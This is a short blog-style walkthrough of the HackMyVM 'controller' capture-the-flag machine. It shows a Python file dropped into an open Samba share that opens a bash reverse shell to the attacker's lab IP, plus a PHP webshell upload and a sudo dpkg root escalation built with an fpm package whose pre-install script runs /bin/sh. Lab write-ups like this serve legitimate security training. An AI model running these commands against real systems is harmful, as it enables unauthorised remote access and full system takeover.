当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
猜你喜欢
随机推荐
12.什么是JS
JS对象, 函数和作用域
ES6迭代器解释举例
多线程(实现多线程、线程同步、生产者消费者)
每日五道面试题总结 22/7/26
PHP8.2的版本发布管理员和发布计划
[league/flysystem] An elegant and highly supported file operation interface
js 中this指向
[campo/random-user-agent] Randomly fake your User-Agent
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
--fs module--
面试总结 22/7/22 面试中的重点
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
MySql Advanced -- Constraints
[sebastian/diff] A historical change extension library for comparing two texts
(2) Thinkphp6 template engine ** tag
项目中遇到的问题
3. PHP data types, constants, strings and operators
Dom实现input的焦点触发
hackmyvm-hopper walkthrough